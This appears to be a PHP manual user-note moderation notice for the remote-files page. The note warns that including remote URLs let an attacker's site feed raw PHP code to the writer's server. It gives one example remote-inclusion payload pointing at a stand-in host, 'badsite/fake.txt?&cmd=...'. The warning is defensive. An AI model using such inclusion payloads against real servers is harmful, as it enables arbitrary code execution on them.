note 42116 added to features.remote-files

The above is true, but I've recently gotten attacked by a site which sent php-code back to my server as an include, so the php wasn't already processed. I figured out a workaround already, but it could've been not so pretty. Basically, someone can include http://badsite/fake.txt?&cmd=blahblah, and depending on how fake.txt is constructed, your server will execute arbitrary code if configured to do so. ---- Manual Page -- http://www.php.net/manual/en/features.remote-files.php Edit -- http://master.php.net/manage/user-notes.php?action=edit+42116 Delete -- http://master.php.net/manage/user-notes.php?action=delete+42116&report=yes Reject -- http://master.php.net/manage/user-notes.php?action=reject+42116&report=yes Search -- http://master.php.net/manage/user-notes.php